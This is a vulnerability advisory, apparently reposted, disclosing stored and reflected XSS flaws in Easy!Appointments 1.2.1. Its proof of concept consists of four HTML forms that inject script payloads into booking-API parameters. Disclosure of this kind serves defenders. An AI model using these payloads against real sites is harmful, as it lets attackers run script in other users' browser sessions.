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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities


Vendor: Alex Tselegidis
Product web page: http://www.easyappointments.org
Affected version: 1.2.1

Summary: Easy!Appointments is a highly customizable web application
that allows your customers to book appointments with you via the web.
Moreover, it provides the ability to sync your data with Google Calendar
so you can use them with other services. It is an open source project
and you can download and install it even for commercial use. Easy!Appointments
will run smoothly with your existing website, because it can be installed
in a single folder of the server and of course, both sites can share
the same database. Learn more about the project in the Features page.

Desc: The application suffers from multiple stored and reflected XSS
vulnerabilities. The issues are triggered when an unauthorized input
passed via multiple POST and GET parameters is not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.4.23 (Win32)
           OpenSSL/1.0.2h
           MariaDB-10.1.19
           PHP/5.6.28


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5442
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php


20.10.2017

--


PoC:

{"name":"XSS1","description":"Description"}

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="category" value="&#123;"name"&#58;"XSS1"&#44;"description"&#58;"Description"&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="service&#95;id" value='"><script>alert(2)</script>' />
      <input type="hidden" name="provider&#95;id" value="85" />
      <input type="hidden" name="selected&#95;date" value="2017&#45;11&#45;30" />
      <input type="hidden" name="service&#95;duration" value="30" />
      <input type="hidden" name="manage&#95;mode" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="service&#95;id" value="13" />
      <input type="hidden" name="provider&#95;id" value="85" />
      <input type="hidden" name="selected&#95;date" value="<marquee>" />
      <input type="hidden" name="service&#95;duration" value="30" />
      <input type="hidden" name="manage&#95;mode" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;last&#95;name&#93;" value="sdadsd" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;first&#95;name&#93;" value="asdasd" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;email&#93;" value="asdasd&#64;bbb&#46;dd" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;phone&#95;number&#93;" value="1112223333" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;address&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;city&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;zip&#95;code&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;start&#95;datetime&#93;" value=""><script>alert&#40;3&#41;<&#47;script>" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;end&#95;datetime&#93;" value="2017&#45;11&#45;30&#32;16&#58;00&#58;00" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;notes&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;is&#95;unavailable&#93;" value="false" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;id&#95;users&#95;provider&#93;" value="85" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;id&#95;services&#93;" value="13" />
      <input type="hidden" name="post&#95;data&#91;manage&#95;mode&#93;" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>